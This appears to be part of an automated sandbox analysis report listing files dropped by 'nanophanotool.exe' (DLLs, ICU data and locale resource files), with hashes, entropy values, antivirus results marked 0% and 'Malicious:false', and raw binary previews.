                                                                                                                                                                                                                                        SHA-256:C91ABF556E55C29D1EA9F560BB17CC3489CB67A5D0C7A22B58485F5F2FBCF25C
                                                                                                                                                                                                                                        SHA-512:039B50284D28DCD447E0A486A099FA99914D29B543093CCCDA77BBEFDD61F7B7F05BB84B2708AE128C5F2D0C0AB19046D08796D1B5A1CFF395A0689AB25CCB51
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:..............t...#.....:.t...J~....K~....L~....M~....N~....O~....P~.%..Q~.*..R~.-..S~c5..T~.9..U~.A..V~.V..^~Ck.._~.m..b~)o..c~yr..j~#s..k~.}..l~....m~...n~...o~......................................K.....!..................Q..............*........................a.......................,%....H0.....2....E:....(A.....F.....L.....R.....T....QY....:].....f.....i....br....Sv..........C...........).................].....}................................................................................................. ....!....%.....*.....,..........O/...../....y1.....2....l4.....6.....7....A:.....?.....C.....K.....S.....Y....._.....e....Ok.....l.....m.....n.....o.....q.....r.....s.....u....:w..............P............................%.............7................,........G........u.............B........S.........a....%........;.....................l...........T..........R...........6..........).............
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):4916712
                                                                                                                                                                                                                                        Entropy (8bit):6.398049523846958
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:49152:KCZnRO4XyM53Rkq4ypQqdoRpmruVNYvkaRwvhiD0N+YEzI4og/RfzHLeHTRhFRNc:xG2QCwmHPnog/pzHAo/A6l
                                                                                                                                                                                                                                        MD5:2191E768CC2E19009DAD20DC999135A3
                                                                                                                                                                                                                                        SHA1:F49A46BA0E954E657AAED1C9019A53D194272B6A
                                                                                                                                                                                                                                        SHA-256:7353F25DC5CF84D09894E3E0461CEF0E56799ADBC617FCE37620CA67240B547D
                                                                                                                                                                                                                                        SHA-512:5ADCB00162F284C16EC78016D301FC11559DD0A781FFBEFF822DB22EFBED168B11D7E5586EA82388E9503B0C7D3740CF2A08E243877F5319202491C8A641C970
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........|3..]...]...]..e\...]...\.5.]..e...]..wX...]..wY...]..e^...]..eX.y.]..eY...]..e]...]..eU./.]..e....]..e_...].Rich..].................PE..d...^.}`.........." ......8..........<).......................................K.....:FK...`A........................................`%G.x....(G.P.....J.@.....H.......J..%....J.....p.D.p....................S<.(...pR<.@............S<.(............................text.....8.......8................. ..`.rdata...F....8..P....8.............@..@.data...`....@G......@G.............@....pdata........H......@H.............@..@.rsrc...@.....J......@J.............@..@.reloc........J......PJ.............@..B........................................................................................................................................................................................................................................
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):2883072
                                                                                                                                                                                                                                        Entropy (8bit):6.697367886822868
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:49152:YGJO72cNsdMZWfAn1fdmZMOqcQrGhjUHgNxGUwSCmmfYDJGz5SN3lzl3hSKqH:Jj8n1QqGCmmfIUz59t
                                                                                                                                                                                                                                        MD5:E096C168B79A56DED0DF1AA142D9F1DA
                                                                                                                                                                                                                                        SHA1:318F20DAB294A315BD935160E9417FB5B28300F5
                                                                                                                                                                                                                                        SHA-256:65CC75329D17EC264E7A2DB571EA55F918394241445EA64569A56C75D0CFDC60
                                                                                                                                                                                                                                        SHA-512:3DCCF6CE85EF7E75690A5851642F10BB5E6E1572E91E933BACB7FCBFE405B0412B94BA0E160C3BA8D68D2B9AFC1DA268F61C83DCCD6453D8C9470931EE900BFD
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." .....$#..................................................@B...........`A..........................................*.......*.(.............@...............B..3....).......................).(....R#.@............"*.P............................text....##......$#................. ..`.rdata..l....@#......(#.............@..@.data...x.....*.."....*.............@....pdata........@.......*.............@..@.00cfg..8.....A.......+.............@..@.gxfg....,....A.......+.............@..@.retplne......A.......+..................tls..........A.......+.............@..._RDATA..\.....A.......+.............@..@.reloc...3....B..4....+.............@..B........................................................................................................................................................................................................................
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):10542048
                                                                                                                                                                                                                                        Entropy (8bit):6.277141340322909
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:98304:OKPBQYOo+ddlymOk25flQCUliXUxiG9Ha93Whla6ZGdnp/8k:OKPBhORjOhCliXUxiG9Ha93Whla6ZGrn
                                                                                                                                                                                                                                        MD5:D89CE8C00659D8E5D408C696EE087CE3
                                                                                                                                                                                                                                        SHA1:49FC8109960BE3BB32C06C3D1256CB66DDED19A8
                                                                                                                                                                                                                                        SHA-256:9DFBE0DAD5C7021CFE8DF7F52458C422CBC5BE9E16FF33EC90665BB1E3F182DE
                                                                                                                                                                                                                                        SHA-512:DB097CE3EB9E132D0444DF79B167A7DCB2DF31EFFBBD3DF72DA3D24AE2230CC5213C6DF5E575985A9918FBD0A6576E335B6EBC12B6258BC93FA205399DE64C37
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:...'........CmnD........ Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html .Q....B.......B...#...B.. $...B..p$...B...$...B...%...B..`P...C...P...C...Q..(C......<C.....OC......bC..@...uC.......C..P....C.......C.......C..p....C.. ....C.......C.......D..p... D.....3D..0...FD.....YD.....lD.......D......D..0....D.......D..p....D......D..@....D.......E......E..@...*E.....=E..P...NE......bE.....rE..@....E.......E.......E..P....E.......E......E..@....F.......F.....'F..0...7F..P...JF......aF......qF...G...F.. H...F..`K...F...K...F...L...F...-...F...c...G....'.'G....'.>G..@.'.UG..0.'.oG....'..G...!'..G...!'..G..P&'..G...)'..G..@*'..H..`.(..H...e).7H..0.).VH...)*.xH....*..H....*..H...P+..H...Y+..H...Z+..I...]+. I..`^+.9I.. .+.UI....+.lI....+..I..P.-..I...=...I.......I.......I.. ....J..p....J......-J..p...EJ......ZJ......rJ..`....J..@....J.......J.......J..0....J.......J.......J..0....K..@....K..../.2K...,/.GK..../.\K..
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):481280
                                                                                                                                                                                                                                        Entropy (8bit):6.330677392522242
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:F9L2FFtoVsruIzUEzUST6uHKw+BubaOQ74PlqF8:F9CGafznzUSTRY70I
                                                                                                                                                                                                                                        MD5:1EECFB04C4434F5A813C8F0C0C8F2C88
                                                                                                                                                                                                                                        SHA1:6DC3CA4B3F72E7FB33BA26FA488DE323EDB59ADD
                                                                                                                                                                                                                                        SHA-256:897CEB95FB164640DDD2426673997B5F6FC2619FD916B038B575A70A0682A706
                                                                                                                                                                                                                                        SHA-512:D7818A42A76508AC3150AEA8D4E168B2DB36F55F71983A177002086380A82E307624CFE37B01FFC3D7EB407485D182654D0D7C6A0C06CCAAE60666630469C7E0
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." .....$................................................................`A........................................00......F>..(.......x.... ...C..............0....(.......................'..(...@A..@...........pA...............................text....".......$.................. ..`.rdata.......@.......(..............@..@.data....L....... ..................@....pdata...C... ...D..................@..@.00cfg..8....p......................@..@.gxfg...`$.......&..................@..@.retplne.............>...................tls....!............@..............@..._RDATA..\............B..............@..@.rsrc...x............D..............@..@.reloc..0............J..............@..B................................................................................................................................................................................
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):7625728
                                                                                                                                                                                                                                        Entropy (8bit):6.463180789552528
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:98304:U8qvGdDtslh+LD3ZDWfnSvBSDU5bPm3k89Ld3gsOMt/:JD3ZXJ7bPWLWsD/
                                                                                                                                                                                                                                        MD5:CBA2436016F7A2838588A52D5B6F30F1
                                                                                                                                                                                                                                        SHA1:81DDF44B3E122DFBEE1A2CD8D4544364F1A621A4
                                                                                                                                                                                                                                        SHA-256:BCB3A3D2FCA3C33FA3D1D5DC976AA913CDC8001DF8E64C2CD3D2C545245141BF
                                                                                                                                                                                                                                        SHA-512:D92A880B5F83C5AE10AE9A83E38A293BB0E8C7659DD6ECE162FC752D57C9FCDE8036B81B023CD9F0F4F32B95B06FD4C366E20301010354B6CB904398A3149A44
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." ......Z...........M......................................`u...........`A..........................................k.8.....l.d....pt.......q.lO............t......vk.....................huk.(.....Z.@.............l.......k.@....................text...e.Z.......Z................. ..`.rdata..l.....Z.......Z.............@..@.data.........m..|....m.............@....pdata..lO....q..P....q.............@..@.00cfg..8.....t......Ps.............@..@.gxfg....+....t..,...Rs.............@..@.retplne.....@t......~s..................tls....:....Pt.......s.............@..._RDATA..\....`t.......s.............@..@.rsrc........pt.......s.............@..@.reloc........t.......s.............@..B................................................................................................................................................................................
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):377708
                                                                                                                                                                                                                                        Entropy (8bit):5.4079285675542845
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:ebGJWQdLX/Wi6fR9a5DhZ2FQPnUGSBhjA636Zi2Jyn9Ybt5KXpgmLwSVxJsVxSjf:6GJW2bOi6fRmZ2OPnUThjA636Zi2Jynd
                                                                                                                                                                                                                                        MD5:7E51349EDC7E6AED122BFA00970FAB80
                                                                                                                                                                                                                                        SHA1:EB6DF68501ECCE2090E1AF5837B5F15AC3A775EB
                                                                                                                                                                                                                                        SHA-256:F528E698B164283872F76DF2233A47D7D41E1ABA980CE39F6B078E577FD14C97
                                                                                                                                                                                                                                        SHA-512:69DA19053EB95EEF7AB2A2D3F52CA765777BDF976E5862E8CEBBAA1D1CE84A7743F50695A3E82A296B2F610475ABB256844B6B9EB7A23A60B4A9FC4EAE40346D
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........E...h.....i.....j.....k.....l.....n."...o.'...p.4...r.:...s.K...t.T...v.i...w.v...y.|...z.....|.....}.....................................................................................-.....>.....E.....N.....g.....p.....{...................................................../.....?.....K.....X.....y...........................................................<.....R.....W.....].....l.....y.....}.....................................................+.....9.....A.....I.....P.....U.....c.....s...............................................%.....J.....d.....m.....y...........................................................+.....2.....5.....6.....B.....L.....V.....].....g.............................O.....^.....k.................................................................".....5.....Q.....z....................................... .....".....%.....(.$...*.D...+.G...,.e........./.....0.....1.....3.....4.....5.....6.D...7.U...8.j...9.y...<.....=.....>.....?.....@.....A.....C.$...D.+.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):613642
                                                                                                                                                                                                                                        Entropy (8bit):4.894733266944232
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:b3pIuPzq8xSTwO8sgjZz5E9VJAVtnuviQix30jH8+I:b3plq8xLO8zjZz5E9VJAVtSiQO
                                                                                                                                                                                                                                        MD5:2009647C3E7AED2C4C6577EE4C546E19
                                                                                                                                                                                                                                        SHA1:E2BBACF95EC3695DAAE34835A8095F19A782CBCF
                                                                                                                                                                                                                                        SHA-256:6D61E5189438F3728F082AD6F694060D7EE8E571DF71240DFD5B77045A62954E
                                                                                                                                                                                                                                        SHA-512:996474D73191F2D550C516ED7526C9E2828E2853FCFBE87CA69D8B1242EB0DEDF04030BBCA3E93236BBD967D39DE7F9477C73753AF263816FAF7D4371F363BA3
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........W...h.....i.....j.'...k.6...l.A...n.I...o.N...p.[...r.a...s.r...t.{...v.....w.....y.....z.....|.....}.........................................................................7.....S.....i.........................................L.....k.....m.....q...................................1.....A.....`.............................".....4.....=.....\.....~...................................5.....Q.....W.....Z.....i.............................K.....z.....................................................8.....G.....`.............................".........................................>.....A.....s.............................@.....G.....J.....K.....W.....`.....|.......................<............................./.....g.....w...............................................3.......................E.....j.....p.....x..................... .....".....%.6...(.c...*.....+.....,.........../.....0.....1.]...3.y...4.....5.....6.K...7.s...8.....9.....;.....<.....=.....>.?...?.I...@.i...A.....C...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):671738
                                                                                                                                                                                                                                        Entropy (8bit):4.903433286644294
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:gjptqBycpX8vYULIrmhkH+P5NNb++YTzgpPMgSENeX:BB2um5S++
                                                                                                                                                                                                                                        MD5:47A6D10B4112509852D4794229C0A03B
                                                                                                                                                                                                                                        SHA1:2FB49A0B07FBDF8D4CE51A7B5A7F711F47A34951
                                                                                                                                                                                                                                        SHA-256:857FE3AB766B60A8D82B7B6043137E3A7D9F5CFB8DDD942316452838C67D0495
                                                                                                                                                                                                                                        SHA-512:5F5B280261195B8894EFAE9DF2BECE41C6C6A72199D65BA633C30D50A579F95FA04916A30DB77831F517B22449196D364D6F70D10D6C5B435814184B3BCF1667
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........*...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.!...v.6...w.C...y.I...z.X...|.^...}.p.....x.....}.................................................................'.....^.....n...................................'.....*...........V.....x.........................................G.....].....p...............................................o...................................................../.....Q.....s.......................(....._.....i.....q.....x.............................#.....:.....m.......................).....Z.....k.........................................$.....?.....U.....k...........................................................p.................7.....L.....h.......................!.....1.....9.....E.....g.......................&.....Z............................................. .'...".D...%.x...(.....*.....+.....,.6.....M.../.~...0.....1.....3.....4.....5.,...6.....7.....8.....9.....;.....<.:...=.P...>.....?.....@.....A.....C.....D.....E.!...F._.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):701716
                                                                                                                                                                                                                                        Entropy (8bit):4.66095894344634
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:7Od6KqVw2iILlY+dAs1aQUfjoaVV4FH2mFxvx35uKN3CuKb7szmV2Jfu64K+z5jG:KsKqJi6lY+dAs1aQU7yZx35uK4XQzQI9
                                                                                                                                                                                                                                        MD5:A19269683A6347E07C55325B9ECC03A4
                                                                                                                                                                                                                                        SHA1:D42989DAF1C11FCFFF0978A4FB18F55EC71630EC
                                                                                                                                                                                                                                        SHA-256:AD65351A240205E881EF5C4CF30AD1BC6B6E04414343583597086B62D48D8A24
                                                                                                                                                                                                                                        SHA-512:1660E487DF3F3F4EC1CEA81C73DCA0AB86AAF121252FBD54C7AC091A43D60E1AFD08535B082EFD7387C12616672E78AA52DDDFCA01F833ABEF244284482F2C76
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........P...h.....i.....j.....k.%...l.0...n.8...o.=...p.J...r.P...s.a...t.j...v.....w.....y.....z.....|.....}.........................................................................F.....h...............................................[.........................................#.....Q.....x...................................[.........................................T...............................................'.....U......................./.....c...............................................>.....s.............................4.....^................. .....9.....V.....l...................................\...............................................&.....B.....S.....v...............................................O.....r...................................0.......................9.....z.......................-.....[............... .....".....%.....(.E...*.q...+.t...,.........../.....0.....1.....3.....4.....5.....6.....7.....8.....9.....;.3...<.G...=._...>.....?.....@.....A.....C.F.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):904943
                                                                                                                                                                                                                                        Entropy (8bit):4.273773274227575
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:wqf22AwWk+ADszaaH0PaMadiMNKVbVtQW01jilDouMGsW2uMBVr+9RU4yVS5PMxq:1zW/AMfafVoCp8YbkJBbdJ2DB5y0XlRB
                                                                                                                                                                                                                                        MD5:5CDD07FA357C846771058C2DB67EB13B
                                                                                                                                                                                                                                        SHA1:DEB87FC5C13DA03BE86F67526C44F144CC65F6F6
                                                                                                                                                                                                                                        SHA-256:01C830B0007B8CE6ACA46E26D812947C3DF818927B826F7D8C5FFD0008A32384
                                                                                                                                                                                                                                        SHA-512:2AC29A3AA3278BD9A8FE1BA28E87941F719B14FBF8B52E0B7DC9D66603C9C147B9496BF7BE4D9E3AA0231C024694EF102DCC094C80C42BE5D68D3894C488098C
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........K...h.....i.....j.....k.$...l./...n.7...o.=...p.J...r.P...s.a...t.j...v.....w.....y.....z.....|.....}.............................................................................................................7.....a.......................".....$.....(.....P.......................+.....T.....p.......................H...................................M.....c...........5.....D....._.........................................A.....z.................B.......................................................................H.....a.....s.........................................B.....g.............................3.....W.....{...............................................>...........j...................................6.....R.........................................g...........9.....u...........V...................................8... .M...".....%.....(. ...*.\...,._........./.....0.....1.`...3.....4.....5.....6.....7.....8.E...9.d...;.....<.....=.....>."...?.5...@.j...A.....C.3...D.S.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):426906
                                                                                                                                                                                                                                        Entropy (8bit):5.400864409916039
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:+XnGrijIs3cSlFEYLCJBB43nbhjJSwmrwiwWzM1ldLbpuQ16BtryBBwIle3nei3X:iNV4ossMNu51hnW5CptA
                                                                                                                                                                                                                                        MD5:D259469E94F2ADF54380195555154518
                                                                                                                                                                                                                                        SHA1:D69060BBE8E765CA4DC1F7D7C04C3C53C44B8AB5
                                                                                                                                                                                                                                        SHA-256:F98B7442BEFC285398A5DD6A96740CBA31D2F5AADADD4D5551A05712D693029B
                                                                                                                                                                                                                                        SHA-512:D0BD0201ACF4F7DAA84E89AA484A3DEC7B6A942C3115486716593213BE548657AD702EF2BC1D3D95A4A56B0F6E7C33D5375F41D6A863E4CE528F2BD6A318240E
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........N...h.....i.....j.....k.!...l.,...n.4...o.9...p.F...r.L...s.]...t.f...v.{...w.....y.....z.....|.....}...............................................................................6.....O.....o.....|.....................................................2.....J.....j.....q...........................................................1.....;.....M.....].......................................................................D.....i.................................................................+.....2.....?.....u.........................................".....5.....F.....b.....e.....}.............................................................................&.....h......................./.....P.....s.....................................................4.....P.....|...............................................:.....F... .Q...".g...%.....(.....*.....+.....,.........../.-...0.2...1.h...3.x...4.....5.....6.....7.....8.....9.(...;.6...<.D...=.R...>.l...?.v...@.....A.....C.....D.....E...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):436202
                                                                                                                                                                                                                                        Entropy (8bit):5.843819816549512
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:U4ftEfqE2jv7ShUjBA59wjd558YAGKND9Gto8QV:U41HE2jjShqywjd558YAbNDcI
                                                                                                                                                                                                                                        MD5:04A680847C4A66AD9F0A88FB9FB1FC7B
                                                                                                                                                                                                                                        SHA1:2AFCDF4234A9644FB128B70182F5A3DF1EE05BE1
                                                                                                                                                                                                                                        SHA-256:1CC44C5FBE1C0525DF37C5B6267A677F79C9671F86EDA75B6FC13ABF5D5356EB
                                                                                                                                                                                                                                        SHA-512:3A8A409A3C34149A977DEA8A4CB0E0822281AED2B0A75B02479C95109D7D51F6FB2C2772CCF1486CA4296A0AC2212094098F5CE6A1265FA6A7EB941C0CFEF83E
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:......../...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.(...v.=...w.J...y.P...z._...|.e...}.w.........................................................................................#.....,.....9.....V.....d.........................................!.....?.....L.....X.....d.....o.....................................................".....4.....E.....{.......................................................................8.....O.....d.....{.................................................................H.....Z.....h.....................................................9.....<.....J.....X.....h.....w.................................................................!.....p.......................".....>.....s.....................................................&.....N.....n.........................................+.....5... .=...".N...%.u...(.....*.....+.....,.........../.....0.....1.H...3.V...4.s...5.....6.....7.....8.....9.....<."...=.,...>.A...?.I...@.[...A.....C.....D...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):396104
                                                                                                                                                                                                                                        Entropy (8bit):5.454826678090317
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:Q3rSn4RJ28687mlwlGXaJwZkqEb1Phv6VP5yarXGzOJixhd4/TWwS:eND/xqkqEO5nrFTq
                                                                                                                                                                                                                                        MD5:1A53D374B9C37F795A462AAC7A3F118F
                                                                                                                                                                                                                                        SHA1:154BE9CF05042ECED098A20FF52FA174798E1FEA
                                                                                                                                                                                                                                        SHA-256:D0C38EB889EE27D81183A0535762D8EF314F0FDEB90CCCA9176A0CE9AB09B820
                                                                                                                                                                                                                                        SHA-512:395279C9246BD30A0E45D775D9F9C36353BD11D9463282661C2ABD876BDB53BE9C9B617BB0C2186592CD154E9353EA39E3FEED6B21A07B6850AB8ECD57E1ED29
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........[...h.....i.)...j.5...k.D...l.O...n.W...o.\...p.i...r.o...s.....t.....v.....w.....y.....z.....|.....}.........................................................................?.....M.....].....q.....y...........................................................4.....K.....R.....].....m.....t...........................................................5.....F.....u.............................................................................9.....T.....m.....w.....z................................................................./.....E.....k.............................................................................+.....2.....5.....6.....=.....F.....L.....S.....^.............................X.....n.......................................................................F.....[................................................... .....".....%.,...(.T...*.....+.....,.........../.....0.....1.....3.....4.%...5.=...6.o...7.....8.....9.....;.....<.....=.....>.....?.....@.....A.%...C.B...D.L.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):424277
                                                                                                                                                                                                                                        Entropy (8bit):5.503137231857292
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:TFigju3qg4wajEzUKnYm31SOmhqYl51gHNiOIkCJD:TFiecqg1aqHSOu599kCJD
                                                                                                                                                                                                                                        MD5:8E6654B89ED4C1DC02E1E2D06764805A
                                                                                                                                                                                                                                        SHA1:FF660BC85BB4A0FA3B2637050D2B2D1AECC37AD8
                                                                                                                                                                                                                                        SHA-256:61CBCE9A31858DDF70CC9B0C05FB09CE7032BFB8368A77533521722465C57475
                                                                                                                                                                                                                                        SHA-512:5AC71EDA16F07F3F2B939891EDA2969C443440350FD88AB3A9B3180B8B1A3ECB11E79E752CF201F21B3DBFBA00BCC2E4F796F347E6137A165C081E86D970EE61
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:............h.V...i.g...j.s...k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.............#.....+.....3.....;.....B.....I.....P.....Q.....R.....T...........................................................$.....:.....<.....@.....h.....}.....................................................-.....Q.....d.....j.....s...............................................4.....K.....O.....R.....[.....t...................................D.....Q.....[.....c.....j.....p.....}...............................................0.....d.................................................................6.....O.....i.....p.....s.....t.....~...................................=...................................6.....?.....Q.....[.....h.....m.....r...................................(.....Y.....u.....{........................... .....".....%.....(.....*./...+.2...,.P.....a.../.w...0.....1.....3.....4.....5.....6.A...7.U...8.i...9.w...;.....<.....=.....>.....?.....@.....A.....C.....D.%.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):769050
                                                                                                                                                                                                                                        Entropy (8bit):4.75072843480339
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:H/58dBquNw2202pgtZSWjZ4LIbsJvaP5A3HKQiEQBR07391qf2utKMaBlS9WffFR:H8BquNw2202pgtsWjyLrJvaRA3HtiEQG
                                                                                                                                                                                                                                        MD5:9528D21E8A3F5BAD7CA273999012EBE8
                                                                                                                                                                                                                                        SHA1:58CD673CE472F3F2F961CF8B69B0C8B8C01D457C
                                                                                                                                                                                                                                        SHA-256:E79C1E7A47250D88581E8E3BAF78DCAF31FE660B74A1E015BE0F4BAFDFD63E12
                                                                                                                                                                                                                                        SHA-512:165822C49CE0BDB82F3C3221E6725DAC70F53CFDAD722407A508FA29605BC669FB5E5070F825F02D830E0487B28925644438305372A366A3D60B55DA039633D7
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........M...h.....i.....j.....k.....l.(...n.0...o.5...p.B...r.H...s.Y...t.b...v.w...w.....y.....z.....|.....}.........................................................................P.....w.............................B.....N.....Z...................................+.....x...................................h.....y.............................&.....C.....a.................,.....4.....H.....o...................................!.....M.................8...............................................1....._.....w.................!.....2.....q.................J.....a.........................................,.....O.....|.........................................!.....3.....F.....^.......................,.................<.............................(.....;.....I.......................M.................T.................................../... .B...".e...%.....(.....*.7...+.:...,.X........./.....0.....1.m...3.....4.....5.#...6.....7.....8.....9. ...;.a...<.w...=.....>.....?.....@.....A.B...C...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):5245458
                                                                                                                                                                                                                                        Entropy (8bit):7.995476669559971
                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                        SSDEEP:98304:HLYxfQVcnNWz49PDq2AwpmqdhBh1Dd42cjrwrbHw4o0DPelwG3RC:H0pQGcMButuBhpd4jkrU4oeelrRC
                                                                                                                                                                                                                                        MD5:7D5065ECBA284ED704040FCA1C821922
                                                                                                                                                                                                                                        SHA1:095FCC890154A52AD1998B4B1E318F99B3E5D6B8
                                                                                                                                                                                                                                        SHA-256:A10C3D236246E001CB9D434A65FC3E8AA7ACDDDDD9608008DB5C5C73DEE0BA1F
                                                                                                                                                                                                                                        SHA-512:521B2266E3257ADAA775014F77B0D512FF91B087C2572359D68FFE633B57A423227E3D5AF8EE4494538F1D09AA45FFA1FE8E979814178512C37F7088DDD7995D
                                                                                                                                                                                                                                        Malicious:false
